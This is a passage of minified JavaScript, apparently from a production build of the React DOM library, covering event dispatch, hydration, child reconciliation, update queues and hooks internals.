g=(t&4)!==0,y=!g&&e==="scroll",v=g?m!==null?m+"Capture":null:m;g=[];for(var b=u,w;b!==null;){w=b;var j=w.stateNode;if(w.tag===5&&j!==null&&(w=j,v!==null&&(j=ao(b,v),j!=null&&g.push(po(b,j,w)))),y)break;b=b.return}0<g.length&&(m=new h(m,x,null,n,d),f.push({event:m,listeners:g}))}}if(!(t&7)){e:{if(m=e==="mouseover"||e==="pointerover",h=e==="mouseout"||e==="pointerout",m&&n!==Dp&&(x=n.relatedTarget||n.fromElement)&&(Li(x)||x[Nr]))break e;if((h||m)&&(m=d.window===d?d:(m=d.ownerDocument)?m.defaultView||m.parentWindow:window,h?(x=n.relatedTarget||n.toElement,h=u,x=x?Li(x):null,x!==null&&(y=oa(x),x!==y||x.tag!==5&&x.tag!==6)&&(x=null)):(h=null,x=u),h!==x)){if(g=Tv,j="onMouseLeave",v="onMouseEnter",b="mouse",(e==="pointerout"||e==="pointerover")&&(g=Lv,j="onPointerLeave",v="onPointerEnter",b="pointer"),y=h==null?m:ka(h),w=x==null?m:ka(x),m=new g(j,b+"leave",h,n,d),m.target=y,m.relatedTarget=w,j=null,Li(d)===u&&(g=new g(v,b+"enter",x,n,d),g.target=w,g.relatedTarget=y,j=g),y=j,h&&x)t:{for(g=h,v=x,b=0,w=g;w;w=da(w))b++;for(w=0,j=v;j;j=da(j))w++;for(;0<b-w;)g=da(g),b--;for(;0<w-b;)v=da(v),w--;for(;b--;){if(g===v||v!==null&&g===v.alternate)break t;g=da(g),v=da(v)}g=null}else g=null;h!==null&&Kv(f,m,h,g,!1),x!==null&&y!==null&&Kv(f,y,x,g,!0)}}e:{if(m=u?ka(u):window,h=m.nodeName&&m.nodeName.toLowerCase(),h==="select"||h==="input"&&m.type==="file")var k=kC;else if(Rv(m))if(Tw)k=CC;else{k=SC;var S=NC}else(h=m.nodeName)&&h.toLowerCase()==="input"&&(m.type==="checkbox"||m.type==="radio")&&(k=zC);if(k&&(k=k(e,u))){Ow(f,k,n,d);break e}S&&S(e,m,u),e==="focusout"&&(S=m._wrapperState)&&S.controlled&&m.type==="number"&&Op(m,"number",m.value)}switch(S=u?ka(u):window,e){case"focusin":(Rv(S)||S.contentEditable==="true")&&(wa=S,Vp=u,Qs=null);break;case"focusout":Qs=Vp=wa=null;break;case"mousedown":Hp=!0;break;case"contextmenu":case"mouseup":case"dragend":Hp=!1,Uv(f,n,d);break;case"selectionchange":if(AC)break;case"keydown":case"keyup":Uv(f,n,d)}var N;if(Ih)e:{switch(e){case"compositionstart":var z="onCompositionStart";break e;case"compositionend":z="onCompositionEnd";break e;case"compositionupdate":z="onCompositionUpdate";break e}z=void 0}else ba?Aw(e,n)&&(z="onCompositionEnd"):e==="keydown"&&n.keyCode===229&&(z="onCompositionStart");z&&(Ew&&n.locale!=="ko"&&(ba||z!=="onCompositionStart"?z==="onCompositionEnd"&&ba&&(N=Pw()):(Qr=d,Th="value"in Qr?Qr.value:Qr.textContent,ba=!0)),S=Sc(u,z),0<S.length&&(z=new Mv(z,e,null,n,d),f.push({event:z,listeners:S}),N?z.data=N:(N=_w(n),N!==null&&(z.data=N)))),(N=gC?yC(e,n):bC(e,n))&&(u=Sc(u,"onBeforeInput"),0<u.length&&(d=new Mv("onBeforeInput","beforeinput",null,n,d),f.push({event:d,listeners:u}),d.data=N))}Uw(f,t)})}function po(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Sc(e,t){for(var n=t+"Capture",r=[];e!==null;){var i=e,a=i.stateNode;i.tag===5&&a!==null&&(i=a,a=ao(e,n),a!=null&&r.unshift(po(e,a,i)),a=ao(e,t),a!=null&&r.push(po(e,a,i))),e=e.return}return r}function da(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function Kv(e,t,n,r,i){for(var a=t._reactName,o=[];n!==null&&n!==r;){var l=n,c=l.alternate,u=l.stateNode;if(c!==null&&c===r)break;l.tag===5&&u!==null&&(l=u,i?(c=ao(n,a),c!=null&&o.unshift(po(n,c,l))):i||(c=ao(n,a),c!=null&&o.push(po(n,c,l)))),n=n.return}o.length!==0&&e.push({event:t,listeners:o})}var MC=/\r\n?/g,LC=/\u0000|\uFFFD/g;function qv(e){return(typeof e=="string"?e:""+e).replace(MC,`
`).replace(LC,"")}function Nl(e,t,n){if(t=qv(t),qv(e)!==t&&n)throw Error(Q(425))}function zc(){}var Kp=null,qp=null;function Yp(e,t){return e==="textarea"||e==="noscript"||typeof t.children=="string"||typeof t.children=="number"||typeof t.dangerouslySetInnerHTML=="object"&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var Gp=typeof setTimeout=="function"?setTimeout:void 0,IC=typeof clearTimeout=="function"?clearTimeout:void 0,Yv=typeof Promise=="function"?Promise:void 0,DC=typeof queueMicrotask=="function"?queueMicrotask:typeof Yv<"u"?function(e){return Yv.resolve(null).then(e).catch(RC)}:Gp;function RC(e){setTimeout(function(){throw e})}function Mf(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&i.nodeType===8)if(n=i.data,n==="/$"){if(r===0){e.removeChild(i),lo(t);return}r--}else n!=="$"&&n!=="$?"&&n!=="$!"||r++;n=i}while(n);lo(t)}function ai(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t==="$"||t==="$!"||t==="$?")break;if(t==="/$")return null}}return e}function Gv(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="$"||n==="$!"||n==="$?"){if(t===0)return e;t--}else n==="/$"&&t++}e=e.previousSibling}return null}var as=Math.random().toString(36).slice(2),er="__reactFiber$"+as,mo="__reactProps$"+as,Nr="__reactContainer$"+as,Xp="__reactEvents$"+as,$C="__reactListeners$"+as,BC="__reactHandles$"+as;function Li(e){var t=e[er];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Nr]||n[er]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=Gv(e);e!==null;){if(n=e[er])return n;e=Gv(e)}return t}e=n,n=e.parentNode}return null}function Ho(e){return e=e[er]||e[Nr],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function ka(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(Q(33))}function Uu(e){return e[mo]||null}var Zp=[],Na=-1;function bi(e){return{current:e}}function Be(e){0>Na||(e.current=Zp[Na],Zp[Na]=null,Na--)}function De(e,t){Na++,Zp[Na]=e.current,e.current=t}var hi={},Ot=bi(hi),Kt=bi(!1),qi=hi;function Ua(e,t){var n=e.type.contextTypes;if(!n)return hi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function qt(e){return e=e.childContextTypes,e!=null}function Cc(){Be(Kt),Be(Ot)}function Xv(e,t,n){if(Ot.current!==hi)throw Error(Q(168));De(Ot,t),De(Kt,n)}function Hw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Q(108,Nz(e)||"Unknown",i));return Ge({},n,r)}function Pc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||hi,qi=Ot.current,De(Ot,e),De(Kt,Kt.current),!0}function Zv(e,t,n){var r=e.stateNode;if(!r)throw Error(Q(169));n?(e=Hw(e,t,qi),r.__reactInternalMemoizedMergedChildContext=e,Be(Kt),Be(Ot),De(Ot,e)):Be(Kt),De(Kt,n)}var hr=null,Vu=!1,Lf=!1;function Kw(e){hr===null?hr=[e]:hr.push(e)}function FC(e){Vu=!0,Kw(e)}function wi(){if(!Lf&&hr!==null){Lf=!0;var e=0,t=Ae;try{var n=hr;for(Ae=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}hr=null,Vu=!1}catch(i){throw hr!==null&&(hr=hr.slice(e+1)),vw(Eh,wi),i}finally{Ae=t,Lf=!1}}return null}var Sa=[],za=0,Ec=null,Ac=0,yn=[],bn=0,Yi=null,vr=1,gr="";function Ei(e,t){Sa[za++]=Ac,Sa[za++]=Ec,Ec=e,Ac=t}function qw(e,t,n){yn[bn++]=vr,yn[bn++]=gr,yn[bn++]=Yi,Yi=e;var r=vr;e=gr;var i=32-$n(r)-1;r&=~(1<<i),n+=1;var a=32-$n(t)+i;if(30<a){var o=i-i%5;a=(r&(1<<o)-1).toString(32),r>>=o,i-=o,vr=1<<32-$n(t)+i|n<<i|r,gr=a+e}else vr=1<<a|n<<i|r,gr=e}function Rh(e){e.return!==null&&(Ei(e,1),qw(e,1,0))}function $h(e){for(;e===Ec;)Ec=Sa[--za],Sa[za]=null,Ac=Sa[--za],Sa[za]=null;for(;e===Yi;)Yi=yn[--bn],yn[bn]=null,gr=yn[--bn],yn[bn]=null,vr=yn[--bn],yn[bn]=null}var an=null,nn=null,Ve=!1,Ln=null;function Yw(e,t){var n=wn(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,t=e.deletions,t===null?(e.deletions=[n],e.flags|=16):t.push(n)}function Qv(e,t){switch(e.tag){case 5:var n=e.type;return t=t.nodeType!==1||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t,t!==null?(e.stateNode=t,an=e,nn=ai(t.firstChild),!0):!1;case 6:return t=e.pendingProps===""||t.nodeType!==3?null:t,t!==null?(e.stateNode=t,an=e,nn=null,!0):!1;case 13:return t=t.nodeType!==8?null:t,t!==null?(n=Yi!==null?{id:vr,overflow:gr}:null,e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},n=wn(18,null,null,0),n.stateNode=t,n.return=e,e.child=n,an=e,nn=null,!0):!1;default:return!1}}function Qp(e){return(e.mode&1)!==0&&(e.flags&128)===0}function Jp(e){if(Ve){var t=nn;if(t){var n=t;if(!Qv(e,t)){if(Qp(e))throw Error(Q(418));t=ai(n.nextSibling);var r=an;t&&Qv(e,t)?Yw(r,n):(e.flags=e.flags&-4097|2,Ve=!1,an=e)}}else{if(Qp(e))throw Error(Q(418));e.flags=e.flags&-4097|2,Ve=!1,an=e}}}function Jv(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;an=e}function Sl(e){if(e!==an)return!1;if(!Ve)return Jv(e),Ve=!0,!1;var t;if((t=e.tag!==3)&&!(t=e.tag!==5)&&(t=e.type,t=t!=="head"&&t!=="body"&&!Yp(e.type,e.memoizedProps)),t&&(t=nn)){if(Qp(e))throw Gw(),Error(Q(418));for(;t;)Yw(e,t),t=ai(t.nextSibling)}if(Jv(e),e.tag===13){if(e=e.memoizedState,e=e!==null?e.dehydrated:null,!e)throw Error(Q(317));e:{for(e=e.nextSibling,t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="/$"){if(t===0){nn=ai(e.nextSibling);break e}t--}else n!=="$"&&n!=="$!"&&n!=="$?"||t++}e=e.nextSibling}nn=null}}else nn=an?ai(e.stateNode.nextSibling):null;return!0}function Gw(){for(var e=nn;e;)e=ai(e.nextSibling)}function Va(){nn=an=null,Ve=!1}function Bh(e){Ln===null?Ln=[e]:Ln.push(e)}var WC=Ir.ReactCurrentBatchConfig;function zs(e,t,n){if(e=n.ref,e!==null&&typeof e!="function"&&typeof e!="object"){if(n._owner){if(n=n._owner,n){if(n.tag!==1)throw Error(Q(309));var r=n.stateNode}if(!r)throw Error(Q(147,e));var i=r,a=""+e;return t!==null&&t.ref!==null&&typeof t.ref=="function"&&t.ref._stringRef===a?t.ref:(t=function(o){var l=i.refs;o===null?delete l[a]:l[a]=o},t._stringRef=a,t)}if(typeof e!="string")throw Error(Q(284));if(!n._owner)throw Error(Q(290,e))}return e}function zl(e,t){throw e=Object.prototype.toString.call(t),Error(Q(31,e==="[object Object]"?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function eg(e){var t=e._init;return t(e._payload)}function Xw(e){function t(v,b){if(e){var w=v.deletions;w===null?(v.deletions=[b],v.flags|=16):w.push(b)}}function n(v,b){if(!e)return null;for(;b!==null;)t(v,b),b=b.sibling;return null}function r(v,b){for(v=new Map;b!==null;)b.key!==null?v.set(b.key,b):v.set(b.index,b),b=b.sibling;return v}function i(v,b){return v=ci(v,b),v.index=0,v.sibling=null,v}function a(v,b,w){return v.index=w,e?(w=v.alternate,w!==null?(w=w.index,w<b?(v.flags|=2,b):w):(v.flags|=2,b)):(v.flags|=1048576,b)}function o(v){return e&&v.alternate===null&&(v.flags|=2),v}function l(v,b,w,j){return b===null||b.tag!==6?(b=Wf(w,v.mode,j),b.return=v,b):(b=i(b,w),b.return=v,b)}function c(v,b,w,j){var k=w.type;return k===ya?d(v,b,w.props.children,j,w.key):b!==null&&(b.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Kr&&eg(k)===b.type)?(j=i(b,w.props),j.ref=zs(v,b,w),j.return=v,j):(j=uc(w.type,w.key,w.props,null,v.mode,j),j.ref=zs(v,b,w),j.return=v,j)}function u(v,b,w,j){return b===null||b.tag!==4||b.stateNode.containerInfo!==w.containerInfo||b.stateNode.implementation!==w.implementation?(b=Uf(w,v.mode,j),b.return=v,b):(b=i(b,w.children||[]),b.return=v,b)}function d(v,b,w,j,k){return b===null||b.tag!==7?(b=Wi(w,v.mode,j,k),b.return=v,b):(b=i(b,w),b.return=v,b)}function f(v,b,w){if(typeof b=="string"&&b!==""||typeof b=="number")return b=Wf(""+b,v.mode,w),b.return=v,b;if(typeof b=="object"&&b!==null){switch(b.$$typeof){case hl:return w=uc(b.type,b.key,b.props,null,v.mode,w),w.ref=zs(v,null,b),w.return=v,w;case ga:return b=Uf(b,v.mode,w),b.return=v,b;case Kr:var j=b._init;return f(v,j(b._payload),w)}if(Ws(b)||ws(b))return b=Wi(b,v.mode,w,null),b.return=v,b;zl(v,b)}return null}function m(v,b,w,j){var k=b!==null?b.key:null;if(typeof w=="string"&&w!==""||typeof w=="number")return k!==null?null:l(v,b,""+w,j);if(typeof w=="object"&&w!==null){switch(w.$$typeof){case hl:return w.key===k?c(v,b,w,j):null;case ga:return w.key===k?u(v,b,w,j):null;case Kr:return k=w._init,m(v,b,k(w._payload),j)}if(Ws(w)||ws(w))return k!==null?null:d(v,b,w,j,null);zl(v,w)}return null}function h(v,b,w,j,k){if(typeof j=="string"&&j!==""||typeof j=="number")return v=v.get(w)||null,l(b,v,""+j,k);if(typeof j=="object"&&j!==null){switch(j.$$typeof){case hl:return v=v.get(j.key===null?w:j.key)||null,c(b,v,j,k);case ga:return v=v.get(j.key===null?w:j.key)||null,u(b,v,j,k);case Kr:var S=j._init;return h(v,b,w,S(j._payload),k)}if(Ws(j)||ws(j))return v=v.get(w)||null,d(b,v,j,k,null);zl(b,j)}return null}function x(v,b,w,j){for(var k=null,S=null,N=b,z=b=0,_=null;N!==null&&z<w.length;z++){N.index>z?(_=N,N=null):_=N.sibling;var A=m(v,N,w[z],j);if(A===null){N===null&&(N=_);break}e&&N&&A.alternate===null&&t(v,N),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A,N=_}if(z===w.length)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;z<w.length;z++)N=f(v,w[z],j),N!==null&&(b=a(N,b,z),S===null?k=N:S.sibling=N,S=N);return Ve&&Ei(v,z),k}for(N=r(v,N);z<w.length;z++)_=h(N,v,z,w[z],j),_!==null&&(e&&_.alternate!==null&&N.delete(_.key===null?z:_.key),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return e&&N.forEach(function(O){return t(v,O)}),Ve&&Ei(v,z),k}function g(v,b,w,j){var k=ws(w);if(typeof k!="function")throw Error(Q(150));if(w=k.call(w),w==null)throw Error(Q(151));for(var S=k=null,N=b,z=b=0,_=null,A=w.next();N!==null&&!A.done;z++,A=w.next()){N.index>z?(_=N,N=null):_=N.sibling;var O=m(v,N,A.value,j);if(O===null){N===null&&(N=_);break}e&&N&&O.alternate===null&&t(v,N),b=a(O,b,z),S===null?k=O:S.sibling=O,S=O,N=_}if(A.done)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;!A.done;z++,A=w.next())A=f(v,A.value,j),A!==null&&(b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return Ve&&Ei(v,z),k}for(N=r(v,N);!A.done;z++,A=w.next())A=h(N,v,z,A.value,j),A!==null&&(e&&A.alternate!==null&&N.delete(A.key===null?z:A.key),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return e&&N.forEach(function(P){return t(v,P)}),Ve&&Ei(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ya&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case hl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ya){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Kr&&eg(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=zs(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ya?(b=Wi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=uc(w.type,w.key,w.props,null,v.mode,j),j.ref=zs(v,b,w),j.return=v,v=j)}return o(v);case ga:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Uf(w,v.mode,j),b.return=v,v=b}return o(v);case Kr:return S=w._init,y(v,b,S(w._payload),j)}if(Ws(w))return x(v,b,w,j);if(ws(w))return g(v,b,w,j);zl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Wf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ha=Xw(!0),Zw=Xw(!1),_c=bi(null),Oc=null,Ca=null,Fh=null;function Wh(){Fh=Ca=Oc=null}function Uh(e){var t=_c.current;Be(_c),e._currentValue=t}function em(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Da(e,t){Oc=e,Fh=Ca=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Wt=!0),e.firstContext=null)}function Nn(e){var t=e._currentValue;if(Fh!==e)if(e={context:e,memoizedValue:t,next:null},Ca===null){if(Oc===null)throw Error(Q(308));Ca=e,Oc.dependencies={lanes:0,firstContext:e}}else Ca=Ca.next=e;return t}var Ii=null;function Vh(e){Ii===null?Ii=[e]:Ii.push(e)}function Qw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Vh(t)):(n.next=i.next,i.next=n),t.interleaved=n,Sr(e,r)}function Sr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var qr=!1;function Hh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Jw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function wr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function si(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Ne&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Sr(e,n)}return i=r.interleaved,i===null?(t.next=t,Vh(r)):(t.next=i.next,i.next=t),r.interleaved=t,Sr(e,n)}function ic(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}function tg(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Tc(e,t,n,r){var i=e.updateQueue;qr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ge({},f,m);break e;case 2:qr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Xi|=o,e.lanes=o,e.memoizedState=f}}function ng(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;t<e.length;t++){var r=e[t],i=r.callback;if(i!==null){if(r.callback=null,r=n,typeof i!="function")throw Error(Q(191,i));i.call(r)}}}var Ko={},ar=bi(Ko),ho=bi(Ko),xo=bi(Ko);function Di(e){if(e===Ko)throw Error(Q(174));return e}function Kh(e,t){switch(De(xo,t),De(ho,e),De(ar,Ko),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Mp(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Mp(t,e)}Be(ar),De(ar,t)}function Ka(){Be(ar),Be(ho),Be(xo)}function e5(e){Di(xo.current);var t=Di(ar.current),n=Mp(t,e.type);t!==n&&(De(ho,e),De(ar,n))}function qh(e){ho.current===e&&(Be(ar),Be(ho))}var Ke=bi(0);function Mc(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var If=[];function Yh(){for(var e=0;e<If.length;e++)If[e]._workInProgressVersionPrimary=null;If.length=0}var ac=Ir.ReactCurrentDispatcher,Df=Ir.ReactCurrentBatchConfig,Gi=0,qe=null,ct=null,vt=null,Lc=!1,Js=!1,vo=0,UC=0;function Et(){throw Error(Q(321))}function Gh(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Wn(e[n],t[n]))return!1;return!0}function Xh(e,t,n,r,i,a){if(Gi=a,qe=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,ac.current=e===null||e.memoizedState===null?qC:YC,e=n(r,i),Js){a=0;do{if(Js=!1,vo=0,25<=a)throw Error(Q(301));a+=1,vt=ct=null,t.updateQueue=null,ac.current=GC,e=n(r,i)}while(Js)}if(ac.current=Ic,t=ct!==null&&ct.next!==null,Gi=0,vt=ct=qe=null,Lc=!1,t)throw Error(Q(300));return e}function Zh(){var e=vo!==0;return vo=0,e}function Jn(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return vt===null?qe.memoizedState=vt=e:vt=vt.next=e,vt}function Sn(){if(ct===null){var e=qe.alternate;e=e!==null?e.memoizedState:null}else e=ct.next;var t=vt===null?qe.memoizedState:vt.next;if(t!==null)vt=t,ct=e;else{if(e===null)throw Error(Q(310));ct=e,e={memoizedState:ct.memoizedState,baseState:ct.baseState,baseQueue:ct.baseQueue,queue:ct.queue,next:null},vt===null?qe.memoizedState=vt=e:vt=vt.next=e}return vt}function go(e,t){return typeof t=="function"?t(e):t}function Rf(e){var t=Sn(),n=t.queue;if(n===null)throw Error(Q(311));n.lastRenderedReducer=e;var r=ct,i=r.baseQueue,a=n.pending;if(a!==null){if(i!==null){var o=i.next;i.next=a.next,a.next=o}r.baseQueue=i=a,n.pending=null}if(i!==null){a=i.next,r=r.baseState;var l=o=null,c=null,u=a;do{var d=u.lane;if((Gi&d)===d)c!==null&&(c=c.next={lane:0,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),r=u.hasEagerState?u.eagerState:e(r,u.action);else{var f={lane:d,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null};c===null?(l=c=f,o=r):c=c.next=f,qe.lanes|=d,Xi|=d}u=u.next}while(u!==null&&u!==a);c===null?o=r:c.next=l,Wn(r,t.memoizedState)||(Wt=!0),t.memoizedState=r,t.baseState=o,t.baseQueue=c,n.lastRenderedState=r}if(e=n.interleaved,e!==null){i=e;do a=i.lane,qe.lanes|=a,Xi|=a,i=i.next;while(i!==e)}else i===null&&(n.lanes=0);return[t.memoizedState,n.dispatch]}function $f(e){var t=Sn(),n=t.queue;if(n===null)throw Error(Q(311));n.lastRenderedReducer=e;var r=n.dispatch,i=n.pending,a=t.memoizedState;if(i!==null){n.pending=null;var o=i=i.next;do a=e(a,o.action),o=o.next;while(o!==i);Wn(a,t.memoizedState)||(Wt=!0),t.memoizedState=a,t.baseQueue===null&&(t.baseState=a),n.lastRenderedState=a}return[a,r]}function t5(){}function n5(e,t){var n=qe,r=Sn(),i=t(),a=!Wn(r.memoizedState,i);if(a&&(r.memoizedState=i,Wt=!0),r=r.queue,Qh(a5.bind(null,n,r,e),[e]),r.getSnapshot!==t||a||vt!==null&&vt.memoizedState.tag&1){if(n.flags|=2048,yo(9,i5.bind(null,n,r,i,t),void 0,null),gt===null)throw Error(Q(349));Gi&30||r5(n,t,i)}return i}function r5(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=qe.updateQueue,t===null?(t={lastEffect:null,stores:null},qe.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function i5(e,t,n,r){t.value=n,t.getSnapshot=r,s5(t)&&o5(e)}function a5(e,t,n){return n(function(){s5(t)&&o5(e)})}function s5(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!Wn(e,n)}catch{return!0}}function o5(e){var t=Sr(e,1);t!==null&&Bn(t,e,1,-1)}function rg(e){var t=Jn();return typeof e=="function"&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:go,lastRenderedState:e},t.queue=e,e=e.dispatch=KC.bind(null,qe,e),[t.memoizedState,e]}function yo(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},t=qe.updateQueue,t===null?(t={lastEffect:null,stores:null},qe.updateQueue=t,t.lastEffect=e.next=e):(n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e)),e}function l5(){return Sn().memoizedState}function sc(e,t,n,r){var i=Jn();qe.flags|=e,i.memoizedState=yo(1|t,n,void 0,r===void 0?null:r)}function Hu(e,t,n,r){var i=Sn();r=r===void 0?null:r;var a=void 0;if(ct!==null){var o=ct.memoizedState;if(a=o.destroy,r!==null&&Gh(r,o.deps)){i.memoizedState=yo(t,n,a,r);return}}qe.flags|=e,i.memoizedState=yo(1|t,n,a,r)}function ig(e,t){return sc(8390656,8,e,t)}function Qh(e,t){return Hu(2048,8,e,t)}function c5(e,t){return Hu(4,2,e,t)}function u5(e,t){return Hu(4,4,e,t)}function d5(e,t){if(typeof t=="function")return e=e(),t(e),function(){t(null)};if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function f5(e,t,n){return n=n!=null?n.concat([e]):null,Hu(4,4,d5.bind(null,t,e),n)}function Jh(){}function p5(e,t){var n=Sn();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&Gh(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function m5(e,t){var n=Sn();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&Gh(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function 